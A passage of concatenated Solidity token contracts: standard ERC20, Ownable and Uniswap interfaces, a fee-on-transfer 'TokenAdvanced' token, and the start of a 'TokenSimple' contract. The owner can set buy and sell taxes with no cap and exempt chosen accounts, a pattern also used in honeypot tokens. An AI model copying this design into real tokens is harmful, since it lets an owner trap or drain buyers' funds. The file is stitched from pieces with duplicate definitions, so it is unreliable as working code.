numTokensSellToAddToLiquidity = amountToUpdate;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by 'account'.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves 'amount' tokens from the caller's account to 'recipient'.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that 'spender' will be
* allowed to spend on behalf of 'owner' through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets 'amount' as the allowance of 'spender' over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves 'amount' tokens from 'sender' to 'recipient' using the
* allowance mechanism. 'amount' is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when 'value' tokens are moved from one account ('from') to
* another ('to').
*
* Note that 'value' may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
* a call to {approve}. 'value' is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning 'false' on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5,05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'recipient' cannot be the zero address.
* - the caller must have a balance of at least 'amount'.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - 'sender' and 'recipient' cannot be the zero address.
* - 'sender' must have a balance of at least 'amount'.
* - the caller must have allowance for ''sender'''s tokens of at least
* 'amount'.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to 'spender' by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
* - 'spender' must have allowance for the caller of at least
* 'subtractedValue'.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves 'amount' of tokens from 'sender' to 'recipient'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - 'sender' cannot be the zero address.
* - 'recipient' cannot be the zero address.
* - 'sender' must have a balance of at least 'amount'.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates 'amount' tokens and assigns them to 'account', increasing
* the total supply.
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys 'amount' tokens from 'account', reducing the
* total supply.
*
* Emits a {Transfer} event with 'to' set to the zero address.
*
* Requirements:
*
* - 'account' cannot be the zero address.
* - 'account' must have at least 'amount' tokens.
*/
/* function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
} */
/**
* @dev Sets 'amount' as the allowance of 'spender' over the 'owner' s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
* - 'spender' cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* will be transferred to 'to'.
* - when 'from' is zero, 'amount' tokens will be minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens will be burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
* has been transferred to 'to'.
* - when 'from' is zero, 'amount' tokens have been minted for 'to'.
* - when 'to' is zero, 'amount' of ''from'''s tokens have been burned.
* - 'from' and 'to' are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
/* event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
); */
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
/* function burn(address to)
external
returns (uint256 amount0, uint256 amount1); */
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract TokenAdvanced is ERC20, Ownable {
// CONFIG START
uint256 private initialSupply;
uint256 private denominator = 100;
uint256 private swapThreshold = 0.0000005 ether; // The contract will only swap to ETH, once the fee tokens reach the specified threshold
uint256 private devTaxBuy;
uint256 private marketingTaxBuy;
uint256 private liquidityTaxBuy;
uint256 private charityTaxBuy;
uint256 private devTaxSell;
uint256 private marketingTaxSell;
uint256 private liquidityTaxSell;
uint256 private charityTaxSell;
address private devTaxWallet;
address private marketingTaxWallet;
address private liquidityTaxWallet;
address private charityTaxWallet;
// CONFIG END
mapping(address => bool) private excludeList;
mapping(string => uint256) private buyTaxes;
mapping(string => uint256) private sellTaxes;
mapping(string => address) private taxWallets;
bool public taxStatus = true;
IUniswapV2Router02 private uniswapV2Router02;
IUniswapV2Factory private uniswapV2Factory;
IUniswapV2Pair private uniswapV2Pair;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _supply,
address[5] memory _addr,
uint256[8] memory _value
) ERC20(_tokenName, _tokenSymbol) {
initialSupply = _supply * (10**18);
_setOwner(_addr[4]);
uniswapV2Router02 = IUniswapV2Router02(_addr[0]);
uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
uniswapV2Pair = IUniswapV2Pair(
uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH())
);
taxWallets["liquidity"] = _addr[2];
setBuyTax(_value[0], _value[1], _value[3], _value[2]);
setSellTax(_value[4], _value[5], _value[7], _value[6]);
setTaxWallets(_addr[1], _addr[2], _addr[3]);
_mint(msg.sender, initialSupply);
}
uint256 private marketingTokens;
uint256 private devTokens;
uint256 private liquidityTokens;
uint256 private charityTokens;
/**
* @dev Calculates the tax, transfer it to the contract. If the user is selling, and the swap threshold is met, it executes the tax.
*/
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
} else if(to == address(uniswapV2Pair)) {
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10**18) / taxSum)) / 10**18;
uint256 marketingETH = (ethGained * ((marketingTokens * 10**18) / taxSum)) / 10**18;
uint256 devETH = (ethGained * ((devTokens * 10**18) / taxSum)) / 10**18;
uint256 charityETH = (ethGained * ((charityTokens * 10**18) / taxSum)) / 10**18;
_approve(address(this), address(uniswapV2Router02), liquidityToken);
(uint amountToken, ,) = uniswapV2Router02.addLiquidityETH{value: liquidityETH}(
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
taxWallets["marketing"].call{value: marketingETH}("");
taxWallets["dev"].call{value: devETH}("");
taxWallets["charity"].call{value: charityETH}("");
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
taxWallets["marketing"].call{value: ethGained - (marketingETH + devETH + liquidityETH + charityETH)}("");
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (taxStatus) {
amount = handleTax(sender, recipient, amount);
}
super._transfer(sender, recipient, amount);
}
/**
* @dev Triggers the tax handling functionality
*/
function triggerTax() public onlyOwner {
handleTax(address(0), address(uniswapV2Pair), 0);
}
/**
* @dev Excludes the specified account from tax.
*/
function exclude(address account) public onlyOwner {
require(!isExcluded(account), "CoinToken: Account is already excluded");
excludeList[account] = true;
}
/**
* @dev Re-enables tax on the specified account.
*/
function removeExclude(address account) public onlyOwner {
require(isExcluded(account), "CoinToken: Account is not excluded");
excludeList[account] = false;
}
/**
* @dev Sets tax for buys.
*/
function setBuyTax(
uint256 dev,
uint256 marketing,
uint256 liquidity,
uint256 charity
) public onlyOwner {
buyTaxes["dev"] = dev;
buyTaxes["marketing"] = marketing;
buyTaxes["liquidity"] = liquidity;
buyTaxes["charity"] = charity;
}
/**
* @dev Sets tax for sells.
*/
function setSellTax(
uint256 dev,
uint256 marketing,
uint256 liquidity,
uint256 charity
) public onlyOwner {
sellTaxes["dev"] = dev;
sellTaxes["marketing"] = marketing;
sellTaxes["liquidity"] = liquidity;
sellTaxes["charity"] = charity;
}
/**
* @dev Sets wallets for taxes.
*/
function setTaxWallets(
address dev,
address marketing,
address charity
) public onlyOwner {
taxWallets["dev"] = dev;
taxWallets["marketing"] = marketing;
taxWallets["charity"] = charity;
}
/**
* @dev Enables tax globally.
*/
function enableTax() public onlyOwner {
require(!taxStatus, "CoinToken: Tax is already enabled");
taxStatus = true;
}
/**
* @dev Disables tax globally.
*/
function disableTax() public onlyOwner {
require(taxStatus, "CoinToken: Tax is already disabled");
taxStatus = false;
}
/**
* @dev Returns true if the account is excluded, and false otherwise.
*/
function isExcluded(address account) public view returns (bool) {
return excludeList[account];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract TokenSimple is Context, IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public totalSupply;
string public name;
string public symbol;
uint8 public decimals;
